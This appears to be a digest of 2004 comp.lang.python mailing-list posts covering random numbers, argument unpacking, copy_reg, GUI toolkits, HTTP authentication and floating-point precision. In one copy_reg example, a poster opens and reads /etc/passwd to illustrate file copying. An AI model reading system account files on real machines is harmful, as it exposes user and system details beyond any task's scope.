Unfortunately, with O'Reilly having rejected it, I'm not sure what other
publisher, if any, is enough "into" Mac _and_ Python.  So for now I'm
giving precedence to 2nd editions of Cookbook and Nutshell...!


Alex


From tjreedy at udel.edu  Fri Sep 10 17:00:08 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 10 Sep 2004 17:00:08 -0400
Subject: question about random number generation
References: <OFE5B98598.1EC05A6B-ON87256F0B.005E056A@seagate.com>
Message-ID: <cht4kt$pd6$1@sea.gmane.org>


<Lu.Fan at seagate.com> wrote in message 
news:OFE5B98598.1EC05A6B-ON87256F0B.005E056A at seagate.com...

We have a system developed in Python. Now I'm writing tests in Java 
(actually a Java wrapper) to test it. I need to duplicate a random number 
generation process in my test which means that given the same seed I expect 
the same result in Java as in Python. As far as I know, Python uses the 
Mersenne Twister RNG --- correct me if I am wrong. Do Python and Java use 
the same RNG?
------------------------------------------------------------------
Python used to use something else and might use something else again in the 
future.  The only way to have cross language determinism is to only use 
integer arithmetic in routine you write yourself.

Terry J. Reedy





From steven.bethard at gmail.com  Tue Sep 21 13:24:48 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 21 Sep 2004 17:24:48 +0000 (UTC)
Subject: Python 3.0, rich comparisons and sorting order
References: <864d370904092109509df67ee@mail.gmail.com>
Message-ID: <loom.20040921T192348-961@post.gmane.org>

Carlos Ribeiro <carribeiro <at> gmail.com> writes:
> For example: today's lists may contain objects of arbitrary types and
> can be sorted; even if the actual ordering may seem arbitrary, it
> works for most purposes. My question is: If Python 3.0 abolishes
> comparison between arbitrary types, how will generic sorting be
> handled?

Could you give an example of a list that you'd like to do this to?  I'm still 
having trouble imagining a list of disparate types that I call sort on...

Thanks,

Steve




From jani at persian.com  Sun Sep 19 20:10:55 2004
From: jani at persian.com (Jani Yusef)
Date: 19 Sep 2004 17:10:55 -0700
Subject: how python uses % operator?
Message-ID: <d3be1825.0409191610.5a7fe2a7@posting.google.com>

Why is it in python -1%8 is equal to 7 , which is correct, of course
but in C -1%8 is given as -1 ?


From steve at holdenweb.com  Tue Sep 28 08:32:20 2004
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 28 Sep 2004 08:32:20 -0400
Subject: synchronize a block
In-Reply-To: <kuWdnYATpLNh1cTcRVn-vQ@powergate.ca>
References: <2rqduhF1di4lmU1@uni-berlin.de>
	<b5qdnRyUvIusnsXcRVn-gA@powergate.ca> <DUT5d.438$gk.278@okepread01>
	<WfudnV7vZuEUpMXcRVn-jQ@powergate.ca>
	<cjb9tk$spo$1@swifty.westend.com>
	<kuWdnYATpLNh1cTcRVn-vQ@powergate.ca>
Message-ID: <%Uc6d.250119$4o.106825@fed1read01>

Peter Hansen wrote:

> Peter Maas wrote:
> 
>> Peter Hansen schrieb:
>>
>>> Sometimes, and more so lately, *painfully* slowly.  I'm somewhat
>>> saddened by the waste involved in some of those threads where the
>>> OP posts a vague question, we all spend days replying with various
>>> guesses at what was really intended, and then finally the OP
>>> posts again (and sometimes they don't even do us that courtesy!)
>>> and says merely "oh, it wasn't that complicated, I just meant X"
>>> and it turns out to have been a FAQ item anyway. :-(
>>
>>
>>
>> The best way to minimize c.l.py effort is to behave like an expert
>> system:
>>
>> synchronize: unknown. Please explain.
> 
> 
> Maybe, but then I get emails telling me I'm being rude. :-(

Well Thomas, who asked the original question, has been so dumbstruck by 
this outpouring of irrelevant response that he has thereafter failed to 
enlighten us about what he really wants. So I guess we are talking to 
ourselves here :-)

regards
  Steve


From ptmcg at austin.rr._bogus_.com  Wed Sep 15 16:23:57 2004
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 15 Sep 2004 20:23:57 GMT
Subject: function arguments
References: <I43MHJ.66G@news.boeing.com>
Message-ID: <xx12d.2836$W8.2567@fe1.texas.rr.com>

"Joe Laughlin" <Joseph.V.Laughlin at boeing.com> wrote in message
news:I43MHJ.66G at news.boeing.com...
> I want to do something like the following
>
> def foo(list_of_args):
>     call_other_function(arg1, arg2, arg3)
>     # Where arg1 == "x", arg2 == "y", etc.
>     # Should work with any list size
>
> foo(["x", "y", "z"])
>
> Make sense?  Need clarification?  In summary, I want to pass a list of
> arguments to a function.  The function needs to pass each argument in the
> list to a different function.
>
> Thanks,
> Joe
>
>
Use *list_of_args.  Try this:

def sum1( a ):
    return a
def sum2( a,b ):
    return a+b
def sum3( a,b,c ):
    return a+b+c
def sum4( a,b,c,d ):
    return a+b+c+d

def sumOf(list_of_args):
    sumFn = (None, sum1, sum2, sum3, sum4)[len(list_of_args)]
    return sumFn(*list_of_args)  # <-- pass thru args to other function

print sumOf( [ 1,2 ] )
print sumOf( [ 1,2,3 ] )
print sumOf( [ 1,2,3,4 ] )


-- Paul




From charlotte at fgm.com  Sat Sep 25 02:17:32 2004
From: charlotte at fgm.com (Charlotte Henkle)
Date: 24 Sep 2004 23:17:32 -0700
Subject: Counter for items in lists in lists?
Message-ID: <d4eff00b.0409242217.224f86ef@posting.google.com>

Hello;

I'm pondering how to count the number of times an item appears in
total in a nested list.  For example:

myList=[[a,b,c,d],[a,f,g,h],[a,b,x,y]]

I'd like to know that a appeared three times, and b appeared twice,
and the rest appeard only once.

Every solution I've touched on so far has seemed clumsy.  Does anyone
have any thoughts for a down and dirty solution to this?

Many thanks...

/Charlotte


From elainejackson7355 at home.com  Thu Sep 16 14:08:12 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Thu, 16 Sep 2004 18:08:12 GMT
Subject: dummy tk windows
Message-ID: <gEk2d.25744$%S.13058@pd7tw2no>

When I use a function from tkFileDialog outside of a tk GUI context, it creates
a "dummy" tk window. It would be nice to know how to close these windows
programmatically. TIA

Peace




From carribeiro at gmail.com  Fri Sep 17 08:45:48 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 17 Sep 2004 09:45:48 -0300
Subject: wxPython Not Ready for Commercial Use
In-Reply-To: <cidvde$jr9$1@news.tue.nl>
References: <dcf37d82.0409160827.1de98db9@posting.google.com>
	<mailman.3417.1095373610.5135.python-list@python.org>
	<cidvde$jr9$1@news.tue.nl>
Message-ID: <864d370904091705456b1af574@mail.gmail.com>

On Fri, 17 Sep 2004 08:15:10 +0200, Gerrit Muller
<gerrit.muller at embeddedsystems.nl> wrote:
> Actually you mean expensive in terms of effort. The mismatch between the
> architectures of both applications causes a lot of adaptations and
> integration effort. See: "From Legacy to State-of-the-art; Architectural
> Refactoring." (especially page 7)

Gerrit, thank you very much for your pointers. It's a slow learning
process, but it's becoming clear what I'm looking for. Sometimes it's
difficult to express exactly what I mean -- english is not my first
language, and also, because I left college a long time ago, so I'm not
up-to-date with the latest academic talk. But I try to keep myself
well informed, reading as much as I can about the topic. I'm *very*
interested in the subject of architecture of systems. For a long time,
most studies that I could find were focused on *systems engineering*,
and I had always wondered why some stuff didn't "click" in quite right
to me. I think that I'm more of an architect than an engineer, in a
way. It's nice to find more about it.
-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From liquid at kuht.it  Sat Sep 18 17:39:08 2004
From: liquid at kuht.it (GMTaglia)
Date: Sat, 18 Sep 2004 21:39:08 GMT
Subject: optparse question
References: <qa13d.272825$OR2.12440578@news3.tin.it>
	<cii8g3$2op8$1@dojima-n0.hi-ho.ne.jp>
Message-ID: <0W13d.272974$OR2.12451641@news3.tin.it>

George Yoshida wrote:

> 
> optparse is same as getopt in this respect.

that's fine but....why?

I think it will be better if only the *exact* option will match, it will
avoid typing mistakes and/or accidentally wrong matches, imho.

> 
> George

ciao
GMario


From aleaxit at yahoo.com  Sat Sep  4 05:00:29 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 11:00:29 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<mailman.2833.1094220348.5135.python-list@python.org>
Message-ID: <1gjjy21.2sppd3100wm1fN%aleaxit@yahoo.com>

Jp Calderone <exarkun at divmod.com> wrote:
   ...
>    They are new.  There is no reason to worry about breaking 
> compatibility.  Why sequences and not iterators?  I would prefer the 

sorted returns a sequence (a list) because it must build one anyway, and
it would be a waste NOT to return it in the several cases in which you
want one.  list(iter(list(something))) is simply a stupid waste...


Alex


From alexander.hoffmann at netgenius.de  Wed Sep  8 12:54:25 2004
From: alexander.hoffmann at netgenius.de (Alexander Hoffmann)
Date: Wed, 8 Sep 2004 18:54:25 +0200
Subject: tuples allocated by formated print ?
In-Reply-To: <chnca4$oma@odah37.prod.google.com>
References: <chnca4$oma@odah37.prod.google.com>
Message-ID: <200409081854.25224.alexander.hoffmann@netgenius.de>

On Wednesday 08 September 2004 18:34, keirr wrote:
> Alexander Hoffmann wrote:
> > Hello,
> >
> > Recently I was debugging a memory leak in my app and finally figured
>
> out that
>
> > I had to manually implement destructors for some classes.
> > While debugging I wrote a method that prints the number of instances
>
> per type
>
> > for all objects returned by gc.get_objects. I was astonished by the
>
> fact that
>
> > after perfroming a few tests with my app there were about 4000
>
> instances of
>
> > Tuple in memory. Looking at these instances I got the feeling that
>
> they
>
> > contained the values I used in formated prints like: print ("my name
>
> is %s" %
>
> > ("alex", ))
>
> <snip>
>
> Do these objects survive gc.collect() ?

yes, forgot to mention that I checked the instances after calling gc.collect 
()

Alex


From martin at v.loewis.de  Tue Sep  7 16:29:15 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 07 Sep 2004 22:29:15 +0200
Subject: Method returning new instance of class?
In-Reply-To: <213df9a1.0409070553.662fc885@posting.google.com>
References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>
	<4139a87a$0$30204$9b622d9e@news.freenet.de>
	<2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net>
	<4139E730.4060203@v.loewis.de>
	<213df9a1.0409070553.662fc885@posting.google.com>
Message-ID: <413e1a13$0$151$9b622d9e@news.freenet.de>

Arthur wrote:
> """The copy module does not use the copy_reg registration module.""" 
> 
> This is actually pretty esoteric stuff for someone who has not delved
> into these mysteries before, so I am a bit lost.

It appears that this documentation is incorrect. Just look at the
source of copy.py and see for yourself:

from copy_reg import dispatch_table
...

def copy(x):
     ...
     reductor = dispatch_table.get(cls)
     ...

> Is it that copy_reg comes into play in defining a custom method for
> copying, that is called as a regular method, and not via the copy
> module?

It is a customization of the copy module.

> Does anyone have a reference for copy_reg used in the specific context
> of copying, rather than pickling?

Sure: Assume you want to copy file objects, and that this should create
a file object for the same file name and mode, but starting from the
beginning. You do

def copy_file(f):
   return file, (f.name, f.mode)
copy_reg.pickle(file, copy_file, file)

Then you can do

 >>> f=open("/etc/passwd","r")
 >>> f
<open file '/etc/passwd', mode 'r' at 0x401f7760>
 >>> f.readline()
'root:x:0:0:root:/root:/bin/bash\n'
 >>> g=copy.copy(f)
 >>> g
<open file '/etc/passwd', mode 'r' at 0x401f7060>
 >>> g.readline()
'root:x:0:0:root:/root:/bin/bash\n'

Regards,
Martin



From scott at deerwester.org  Thu Sep 16 05:19:59 2004
From: scott at deerwester.org (Scott Deerwester)
Date: Thu, 16 Sep 2004 17:19:59 +0800
Subject: PyCFunction_New() ?
Message-ID: <ciblr1$lpj1@imsp212.netvigator.com>

Is it possible to create a Python-callable object, dynamically, in C/C++? I
have a GUI app in C++, with the app logic in Python, called from the
GUI via the Python C API. I need be able to call a callback function
in C/C++ from the Python, in response to an event (socket, whatever...)
that the Python is aware of. Callbacks in Python, called from C/C++
are very straightforward, but I haven't been able to find any examples
of the converse.

So I want to be able to do something like:

PyCFunction *myCallback(PyObject *ob, PyObject *args) { ... }

{
  PyObject *somePythonObject;
  ...
  PyObject *myCallbackObject = PyFunction_New(myCallback, ...);
  PyObject_CallMethod(somePythonObject, "setCallback", myCallbackObject);
  ...
}

Even better would be:

PyCFunction *MyClass::pyCallback(PyObject *ob, PyObject *args) { ... }

MyClass::MyClass()
{
  ...
  PyObject_CallMethod(somePythonObject, "setCallback", this->pyCallback);
  ...
}

Any help greatly appreciated!


From aleaxit at yahoo.com  Sat Sep 25 13:31:52 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 25 Sep 2004 19:31:52 +0200
Subject: Divisions of labor
References: <mailman.3639.1095771048.5135.python-list@python.org>
	<Qg04d.3086$Ec4.2542@trndny04>
	<1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com>
	<4tg822-bmd.ln1@lairds.us>
	<1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com>
	<tkl822-p6i.ln1@lairds.us> <4151C3A9.6050505@bellsouth.net>
	<mailman.3904.1096126269.5135.python-list@python.org>
Message-ID: <1gkoop6.1oy1zu9ke5qauN%aleaxit@yahoo.com>

Cameron Laird <Cameron at Phaseit.net> wrote:
   ...
> feel more benefit in thinking about, for example, monads and categories.

Do you mean Leibnitz's (which I think I understand, but don't find very
applicable to my daily work) or Haskell's?  If the latter, WOW, I
finally may have a chance to GRASP them... I will freely admit that, so
far, they're the one part of that fascinating language to have escaped
my feeble mental powers.  I can use monads I'm given, mostly, but how
would I write my own, when would it be appropriate to do so, etc, IS
still quite mysterious to me...


Alex


From lbates at swamisoft.com  Tue Sep  7 15:57:34 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Tue, 7 Sep 2004 14:57:34 -0500
Subject: writing a class
References: <29179565.0409071136.4147591f@posting.google.com>
Message-ID: <oKKdnUmLvus3j6PcRVn-gQ@comcast.com>

You really should post what you have tried and
any traceback error messages of things that didn't
work.  A little background explanation of what you
are trying to do would also be nice.  It's impossible
for us to venture a guess as to what you might be
doing wrong or to suggest a methodology without this
information.

Regards,
Larry Bates
Syscon, Inc.

"Crypt Keeper" <crypt_keeper at rome.com> wrote in message
news:29179565.0409071136.4147591f at posting.google.com...
> I am trying to write a program that asks user for several input items,
> then takes those items into a class that will manipulate the data and
> then return a line of output. I am able to input the reuired
> information, but it's the in-class processing and output line that
> keeps messing up somehow. I have tried tinkering and tweaking but with
> no success.
>
> How can I take data from the user, manipulate it through a class of
> steps and then output it all into a line of output?
>
> Thanks!!




From rm at rm.rm  Tue Sep 14 20:00:21 2004
From: rm at rm.rm (Radioactive Man)
Date: Wed, 15 Sep 2004 00:00:21 GMT
Subject: Need script to download file at known address
Message-ID: <c71fk0liesaugrtl1ginqidq87c8ej9gq2@4ax.com>

I am fairly new to the latest verion of Python and using it on windows
95, 2000, and/or XP.  What libraries, modules, functions, etc. would I
need to set up a Python script to download a file, say
"htttp://www.sound.com/files/bob.wav" to my own hard drive at
"c:\sound\bob.wav"?  

I haven't found any good examples of such an operation in the
documentation at the Python website.  Any suggestions are appreciated.
Thanks.


From fuzzyman at gmail.com  Sat Sep  4 14:20:27 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 4 Sep 2004 11:20:27 -0700
Subject: POST with basic auth and cookie from python?
References: <pan.2004.09.03.20.30.52.790127@dcs.nac.uci.edu>
	<6f402501.0409040212.4da65570@posting.google.com>
	<slrncjjdlh.f6.missive@homer.localdomain>
Message-ID: <6f402501.0409041020.d4c0d8d@posting.google.com>

Lee Harr <missive at frontiernet.net> wrote in message news:<slrncjjdlh.f6.missive at homer.localdomain>...
> On 2004-09-04, Michael Foord <fuzzyman at gmail.com> wrote:
> > Dan Stromberg <strombrg at dcs.nac.uci.edu> wrote in message news:<pan.2004.09.03.20.30.52.790127 at dcs.nac.uci.edu>...
> >> If I wanted to write a python script that performs basic auth, gets a
> >> cookie, and then does an http POST using the cookie for authentication,
> >> what would be the best python API to write to?
> >> 
> >> Does someone already have example code that does something like this?
> >> 
>  
> > Oh - if anyone can help on this it would be great !! What the heck is
> > a realm and how do they work !!
> >
> >
> 
> 
> Not sure if this helps ...
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267197

Thanks - it was the comments from that recipe that I got the code to
do basic athorization. One of the commenters also states that using
urllib2.HTTPPasswordMgrWithDefaultRealm will also do the job
(remembering the username and password for the realm, once you have
supplied it). The trouble is that in *my* code (sorry to the original
poster for hijacking the thread) is a CGI. This means that for each
seperate page access the process starts afresh - so I would need to
save in an external file the username and password combinations...
which is by no means an ideal solution.

The bottom line for me is that I don't actually understand what a
realm is and how http does authentication beyond the first page access
- does it need the username and password encoded in the headers for
access to every page in that realm ?

Tell you what - I'll start another thread and see if anyone
replies.....

Regards,

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From jerf at jerf.org  Tue Sep 21 14:43:09 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 21 Sep 2004 18:43:09 GMT
Subject: class size
References: <cipr3e$q72$1@solaris.cc.vt.edu>
Message-ID: <pan.2004.09.22.17.59.45.795261@jerf.org>

On Tue, 21 Sep 2004 14:15:10 -0400, Brad Tilley wrote:

> How large (lines of code) should a class be before one should split it 
> into smaller classes? Is there a general rule on this? How many 
> functions should a class contain? Are there limits (theoretical or 
> practical) that people learning classes should adhere to?

As long as the class is doing one thing (or as I prefer to think of it,
representing one concept), you're fine. I have classes that are 4 lines
long (and would probably be a one-liner in most other languages), and
classes 500 lines long... and that class has already had another couple
hundred lines cut out of it and put into other classes.


From rarawlinson at siscom.net  Thu Sep  9 10:36:31 2004
From: rarawlinson at siscom.net (Robert A. Rawlinson)
Date: Thu, 09 Sep 2004 10:36:31 -0400
Subject: Newbe - Error starting Python
Message-ID: <41406a34$0$99874$9a6e19ea@news.newshosting.com>

I am new to Python. When I tried to start it on my Suse 9.1 
system I got a KDEesktop message that said: Service 
'searchproviders/python. Desktop is malformatted.
What is this and how can I fix it? TIA	
Bob


From usenet_spam at janc.invalid  Thu Sep  2 18:37:31 2004
From: usenet_spam at janc.invalid (JanC)
Date: Thu, 02 Sep 2004 22:37:31 GMT
Subject: Help req: py2exe's compiled executables only working with XP
References: <173c23bb.0408282105.4cd76e07@posting.google.com>
	<153fa67.0408290602.10b80c47@posting.google.com>
	<173c23bb.0409011956.56aa222d@posting.google.com>
Message-ID: <Xns9559657CD744JanC@213.118.38.197>

Matthew K Jensen schreef:

>  I guess I should describe the problem more. When I go to execute,
> nothing visibly happens.

Did you try running them from a console (cmd.exe or command.com)?

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From aleaxit at yahoo.com  Sun Sep 12 18:56:33 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 13 Sep 2004 00:56:33 +0200
Subject: Problems with subclassing
References: <ci1u2g$n00@odah37.prod.google.com>
Message-ID: <1gk116d.12ra6nv1vlcxcxN%aleaxit@yahoo.com>

Alexander Stante <alex_stante at yahoo.de> wrote:

> I have the following problem. I want to subclass from the pygame class
> Surface, but I can't get it working:
> 
> class sprite(Surface):
> def __init__(self, image_array, palette):
> "some code here"
> 
> when I want to create a instance with:
> 
> gfx.sprite(arrayi, palette)
> 
> 
> I get the following error message:
> TypeError: argument 1 must be sequence of length 2, not 100
> 
> It seems that the constructor of Surface is not overrided by the one in
> sprite, but why?

It's possible (I'm just guessing) that the problem comes with respect to
__new__ rather than __init__ ...?


Alex


From aleaxit at yahoo.com  Mon Sep 20 07:57:42 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 20 Sep 2004 13:57:42 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<200409190039.23955.gherron@islandtraining.com>
	<mailman.3504.1095595671.5135.python-list@python.org>
	<1gkdkgj.12f5pjs6acjl1N%aleaxit@yahoo.com>
	<mailman.3546.1095671268.5135.python-list@python.org>
Message-ID: <1gkezel.1dw7ujb1un4jjbN%aleaxit@yahoo.com>

Heiko Wundram <heikowu at ceosg.de> wrote:

> Am Sonntag, 19. September 2004 19:41 schrieb Alex Martelli:
> > gmpy (or to be more precise the underlying GMP library) runs optimally
> > on AMD Athlon 32-bit processors, which happen to be dirt cheap these
> > days, so a cleverly-purchased 300-dollars desktop Linux PC using such an
> > Athlon chip would no doubt let you use way more than these humble couple
> > thousand bits for such interactive computations while maintaining a
> > perfectly acceptable interactive response time.
> 
> But still, no algorithm implemented in software will ever beat the 
> FADD/FMUL/FDIV/FPOW/FSIN/FCOS etc. instructions in runtime, that was my

Yep, the hardware would have to be designed in a very lousy way for its
instructions to run slower than software running on the same CPU;-).

If you're not using some "vectorized" package such as Numeric or
numarray, though, it's unlikely that you care about speed -- and if you
_are_ using Numeric or numarray, it doesn't matter to you what type
Python itself uses for some literal such as 3.17292 -- it only matters
(speedwise) what your computational package is using (single precision,
double precision, whatever).

> point... And error calculation is always possible, so that you can give
> bounds to your result, even when using normal floating point arithmetic. And,

Sure!  Your problems come when the bounds you compute are not good
enough for your purposes (given how deucedly loose error-interval
computations tend to be, that's going to happen more often than actual
accuracy loss in your computations... try an interval-arithmetic package
some day, to see what I mean...).

> even when using GMPy, you have to know about the underlying limitations of
> binary floating point so that you can reorganize your code if need be to add
> precision (because one calculation might be much less precise if done in some
> way than in another).

Sure.  Throwing more precision at a badly analyzed and structured
algorithm is putting a band-aid on a wound.  I _have_ taught numeric
analysis to undergrads and nobody could have passed my course unless
they had learned to quote that "party line" back at me, obviously.

In the real world, the band-aid stops the blood loss often enough that
few practising engineers and scientists are seriously motivated to
remember and apply all they've learned in their numeric analysis courses
(assuming they HAVE taken some: believe it or not, it IS quite possible
to get a degree in engineering, physics, etc, in most places, without
even getting ONE course in numeric analysis! the university where I
taught was an exception only for _some_ of the degrees they granted --
you couldn't graduate in _materials_ engineering without that course,
for example, but you COULD graduate in _buildings_ engineering while
bypassing it...).

Yes, this IS a problem.  But I don't know what to do about it -- after
all, I _am_ quite prone to taking such shortcuts myself... if some
computation is giving me results that smell wrong, I just do it over
with 10 or 100 times more bits... yeah, I _do_ know that will only work
99.99% of the time, leaving a serious problem, possibly hidden and
unsuspected, more often than one can be comfortable with.  In my case, I
have excuses -- I'm more likely to have fallen into some subtle trap of
_statistics_, making my precise computations pretty meaningless anyway,
than to be doing perfectly correct statistics in numerically smelly ways
(hey, I _have_ been brought up, as an example of falling into traps, in
"American Statistician", but not yet, AFAIK, in any journal dealing with
numerical analysis...:-).


Alex


From hans at zephyrfalcon.org  Wed Sep 22 13:35:00 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Wed, 22 Sep 2004 13:35:00 -0400
Subject: up with PyGUI!
In-Reply-To: <4lf4d.15151$pA.1180511@news20.bellglobal.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
Message-ID: <4151B7C4.6070003@zephyrfalcon.org>

Nicolas Fleury wrote:
> Hans Nowak wrote:
> 
>> Zooko O'Whielacronx wrote:
>>
>>> I'm a fan of Greg Ewing's PyGUI [1].  I used it to code a simple game 
>>> for my son [2], and enjoyed it.  Programming with wxPython feels like 
>>> programming with a C++ tool that has been wrapped in Python.  
>>
>> This problem is addressed by Wax:
> 
> 
> I think it doesn't go far enough.  Wouldn't it better to hide the 
> concept of wxPython ownership by now passing the parent in the 
> constructor, but instead create the wxPython widget when it is finally 
> added to its parent?  

I'm not sure what you mean.  One known issue is, that there is some redundancy 
when creating a control and adding it to its parent:

   b = Button(parent, ...)
   parent.AddComponent(b, ...)

I am thinking of ways to make this simpler.  One possible solution would be to 
accept a 'layout' parameter:

   b = Button(parent, ..., layout={'expand': 'both', 'border': 2})

...but I'm not sure that actually makes things simpler or more readable.

It's also possible to do something like this:

   parent.Add(some_control, parameters_for_control, parameters_for_layout)

I think this is rather ugly, and I don't like the mixing of control constructor 
parameters and layout parameters.  Aside from that, it's sometimes useful or 
necessary to use the control before it's added to the parent.  Consider:

from wax import *

class MainFrame(Frame):

     def Body(self):
         b1 = Button(self, text="b1")
         b1.Size = (40, 40)
         self.AddComponent(b1)

         b2 = Button(self, text="b2")
         self.AddComponent(b2)
         b2.Size = (40, 40)

         self.Pack()

app = Application(MainFrame)
app.Run()

> It could also be a good idea to take the occasion 
> to respect PEP8.  

Which recommendations of the style guide does the Wax code violate?

> Note also that "import wax" would be better than "from 
> wax import *".

I'm considering it.  This way, it would also be possible to import things on 
demand.  On the other hand, I don't like to write 'wax.' before everything.

--
Hans Nowak (hans at zephyrfalcon.org)
http://zephyrfalcon.org/



From steven.bethard at gmail.com  Wed Sep  8 20:44:08 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Thu, 9 Sep 2004 00:44:08 +0000 (UTC)
Subject: itoa (WAS: Re: %a format)
References: <mailman.2992.1094581774.5135.python-list@python.org>
	<usm9tx5n3.fsf@broadpark.no> <10jsqrm2rsqdc39@news.supernews.com>
	<ad052e5c.0409081611.361c5a01@posting.google.com>
	<loom.20040909T023510-231@post.gmane.org>
Message-ID: <loom.20040909T024328-245@post.gmane.org>

I wrote:

> >>> def itoa(i, base):
> ...     return str(int(str(i), base))
> ...

Oops.  My bad.  You wanted the inverse.  Just ignore me.  ;)



From secun at yahoo.com  Tue Sep 14 15:10:40 2004
From: secun at yahoo.com (ChrisH)
Date: Tue, 14 Sep 2004 19:10:40 GMT
Subject: Communication between remote scripts
References: <MPG.1bb0b7d621a77bc598968c@news2.atlantic.net>
	<MPG.1bb0babc8d7d2dfa98968d@news2.atlantic.net>
	<41471f73$0$10528$e4fe514c@news.xs4all.nl>
Message-ID: <MPG.1bb10c5b51102cd598968e@news2.atlantic.net>

Thanks for the info. I've actually been looking at Pyro as a possible 
solution. In some ways however, it seems a lot more powerful than what I 
need for this project. 

Could you give a simple example of how a two programs can "talk" to one 
another? I don't think I really need RPCs in this case.

In article <41471f73$0$10528$e4fe514c at news.xs4all.nl>, irmen at -NOSPAM-
REMOVETHIS-xs4all.nl says...
> ChrisH wrote:
> > Am I correct in saying that remote objects are not really needed for 
> > this?
> [...]
> >>I would like to create a second program on a remote Windows computer 
> >>that receives an update from program A periodically (maybe every 10 
> >>minutes or so), and tells it everything is running without a problem.
> >>
> >>Can anyone recommend a good (and preferably simple) way for two programs 
> >>to communicate on a network? 
> 
> Perhaps remote objects are a bit overkill for your specific problem.
> But then again, Pyro for instance (pyro.sf.net) essentially removes
> the need for any network code in your app, and takes care of various
> other nasty things that happen at the network level.
> So unless you choose to use Pyro or some other high level API,
> you will have to deal with all this yourself-- and that may be
> more work than you think...
> 
> --Irmen
> >>
> 


From rogerb at rogerbinns.com  Tue Sep  7 01:31:53 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Mon, 6 Sep 2004 22:31:53 -0700
Subject: Anyone know anything named DX? (was Re: Announcing PyCs)
	(was:	Announcing PyCs, a new Python-like language on .Net)
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<pan.2004.09.06.21.29.05.273319@jerf.org>
Message-ID: <1stv02-qlp.ln1@home.rogerbinns.com>

Jeremy Bowers wrote:
> The "great" names are long gone.

Here is my (unpatented) technique:

Use APG online to generate pronounceable words (they are intended to be
passwords but who cares).  You need to turn off symbols and digits.
Here is one site:

  http://maurizio.giampy.it/apg/

Set the length range to whatever takes your fancy.  Read through the
list and do a Google search for any that look good.  Wonder how on
earth so many of them have matches.  Rinse and repeat until you find
one with no matches.

It was how I came up with Entrocul and BitPim :-)

I did actually send an email to Google labs suggesting they come
up with an "naming" tool where you could suggest what style of
name you wanted (eg scientific, Italian, computery) and it would
generate random strings of that form with no entries in the
index.  They never responded.

Roger 




From alanmk at hotmail.com  Sat Sep 25 10:52:31 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Sat, 25 Sep 2004 15:52:31 +0100
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
 project.
In-Reply-To: <6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<89adnWTWC6JVscncRVn-uw@giganews.com>
	<enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com>
	<du7d60bbhah.fsf@amadeus.cc.tut.fi>
	<10l90qcihqrjba1@corp.supernews.com>
	<6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com>
Message-ID: <%wf5d.32000$Z14.10664@news.indigo.ie>

[Richard Hanson]
 > It is
> possible that in the higher-dimensioned theories, quantum mechanics
> will turn out to be deterministic. 

That's an attention-grabbing statement!

[Richard Hanson]
> Or, at least that's what I'm quite
> foggily gathering from hanging out on sci.physics.research and other
> suchlike readings. :-)

I'd be most grateful for some links to further reading, ideally giving 
an overview/summary, if you know of such.

thanks,

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From onurb at xiludom.gro  Mon Sep 20 18:40:52 2004
From: onurb at xiludom.gro (bruno modulix)
Date: Tue, 21 Sep 2004 00:40:52 +0200
Subject: python is going to die! =(
In-Reply-To: <mailman.3548.1095673404.5135.python-list@python.org>
References: <mailman.3520.1095631846.5135.python-list@python.org>	<mailman.3524.1095636290.5135.python-list@python.org>	<du7fz5dqo2e.fsf@amadeus.cc.tut.fi>
	<mailman.3548.1095673404.5135.python-list@python.org>
Message-ID: <414f5e18$0$20462$626a14ce@news.free.fr>

Heiko Wundram a ?crit :
> Am Montag, 20. September 2004 11:36 schrieb Ville Vainio:
> 
>>I don't really believe in extrapolating too much from the textual
>>characteristics of your post, but I think you'd do much better by
>>picking a statically typed language like C# for your proyects.
> 
> 
> LOLOL!
> 
> +1 for comment of the week...
> 
<AOL>


